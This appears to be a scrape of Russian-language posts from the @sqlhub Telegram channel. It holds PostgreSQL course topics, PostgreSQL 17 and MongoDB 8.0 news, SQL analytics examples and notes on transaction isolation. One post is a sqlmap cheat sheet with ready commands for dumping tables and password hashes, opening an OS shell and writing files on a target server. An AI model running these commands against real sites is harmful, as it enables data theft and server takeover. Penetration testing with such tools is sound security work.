DBA2-13. 00. Введение
DBA2-13. 01. Изоляция
DBA2-13. 02. Страницы и версии строк
DBA2-13. 03. Снимки данных
DBA2-13. 04. HOT-обновления
DBA2-13. 05. Очистка
DBA2-13. 06. Автоочистка
DBA2-13. 07. Заморозка
DBA2-13. 08. Буферный кеш
DBA2-13. 09. Журнал предзаписи
DBA2-13. 10. Контрольная точка
DBA2-13. 11. Настройка журнала
DBA2-13. 12. Блокировки объектов
DBA2-13. 13. Блокировки строк
DBA2-13. 14. Блокировки в оперативной памяти
DBA2-13. 15. Управление расширениями
DBA2-13. 16. Локализация
DBA2-13. 17. Обновление сервера
▪Источник
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍8❤7
После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября.
📌 Основные новшества:
- При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов.
- Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов.
- Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE.
- Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512.
- Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON.
- Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений.
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍26🔥8❤3🎉1
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍8❤2😁1🤔1
Обычно данные находятся в сыром виде и требуют значительной очистки и приведения в нужный формат. SQL позволяет быстро выполнять объединения, группировки, фильтрацию и агрегацию данных без необходимости выгружать большие наборы данных в Python или R.
Пример:
-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего.
Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения.
Например, создание признака активности пользователя:
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
Такой запрос может быть полезен для прогнозирования оттока клиентов.
Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам.
SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍29❤6🔥2👏1
SELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;
SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22👍9❤7👎1
▪ Github
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍25❤6🔥2
#курс #sql #datascience
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
❤17👎7👍4🔥4
CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);
CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);
- Месяц (sale_month)
- Название категории (category)
- Общее количество проданных товаров в этой категории за месяц (total_sales)
- Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32❤8🔥6👏6🥰1
💫 StarbaseDB
Мощная опенсорс база данных HTTP SQLite с открытым исходным кодом, масштабируемая до нуля и построенная на базе в Cloudflare.
▪ Язык: Typescript
⚡ Особенности
- Эндпоинты HTTPS для взаимодействия с вашей базой данных
- Поддержка транзакций для взаимодействия с базой данных ACID
- Вычисления с нулевым масштабированием
▪ Github
@sqlhub
Мощная опенсорс база данных HTTP SQLite с открытым исходным кодом, масштабируемая до нуля и построенная на базе в Cloudflare.
▪ Язык: Typescript
⚡ Особенности
- Эндпоинты HTTPS для взаимодействия с вашей базой данных
- Поддержка транзакций для взаимодействия с базой данных ACID
- Вычисления с нулевым масштабированием
▪ Github
@sqlhub
👍7❤6🔥3
MongoDB представила обновлённую версию 8.0 своей базы данных линейки Enterprise и облачного сервиса Atlas. Обновления обещают увеличить пропускную способность на 32%, ускорить пакетную запись на 56% и повысить скорость параллельной записи на 20%.
Для решения проблем, связанных с быстрым развитием ИИ, неопределённостью в выборе технологий и нехваткой навыков, MongoDB запустила программу MongoDB AI Application Program (MAAP).
Компания планирует создать глобальную экосистему партнёров, которые будут устанавливать отраслевые стандарты для решений на основе ИИ, сотрудничая с Microsoft Azure, Google Cloud Platform, Amazon Web Services, Accenture, Anthropic и Fireworks AI.
Уже реализованы коммерческие решения для «французской автомобильной компании» и «глобального производителя бытовой техники».
🔗 iteuropa.com
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥3👍2
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤5👏2
В различных системах очен важно обеспечить согласованность данных при параллельных транзакциях. Одним из ключевых механизмов, который помогает в этом, являются уровни изоляции транзакций. Они регулируют, как обрабатываются изменения в данных при параллельной работе транзакций, предотвращая возможные аномалии.
Изоляция транзакций указывает степень, до которой операции в одной транзакции изолированы от операций в других. Это предотвращает такие проблемы, как грязные чтения, неповторяемые чтения и фантомные записи, обеспечивая целостность данных.
📌 Read Uncommitted:
Самый низкий уровень изоляции.
Транзакции могут читать изменения, сделанные другими транзакциями, даже если они не были зафиксированы (грязные чтения). Быстро, но рискованно.
📌 Read Committed:
Видны только зафиксированные данные. Это исключает грязные чтения, но могут возникать неповторяемые чтения (данные меняются между двумя запросами).
📌 Repeatable Read:
Это уровень, что данные, прочитанные транзакцией, не могут быть изменены другой транзакцией до завершения первой. Однако возможны фантомные чтения (новые строки появляются при повторных запросах).
📌 Serializable:
Самый высокий уровень изоляции. Полностью изолирует транзакцию, предотвращая грязные, неповторяемые и фантомные чтения. Однако это существенно снижает производительность.
Каждый уровень предлагает компромисс между производительностью и консистентностью данных. Более высокий уровень изоляции снижает конкурентоспособность, тогда как более низкий увеличивает риск возникновения аномалий. Важно правильно подобрать уровень в зависимости от требований приложения.
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤7👍4👎1🥰1
Реляционные базы данных представляют собой базы данных, которые используются для хранения и предоставления доступа к взаимосвязанным элементам информации. Реляционные базы данных основаны на реляционной модели — интуитивно понятном, наглядном табличном способе представления данных. Каждая строка, содержащая в таблице такой базы данных, представляет собой запись с уникальным идентификатором, который называют ключом. Столбцы таблицы имеют атрибуты данных, а каждая запись обычно содержит значение для каждого атрибута, что дает возможность легко устанавливать взаимосвязь между элементами данных.
Таблицы в такой базе данных также соотносятся друг с другом строго определенным образом. Реляционные базы данных используют целый комплекс инструментов, которые обеспечивают целостность данных, т. е. их точность, полноту и единообразие.
На картинке представлены ключевые моменты, которые следует знать о проектировании реляционных баз данных.
#азы #sql
@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥5❤3👎1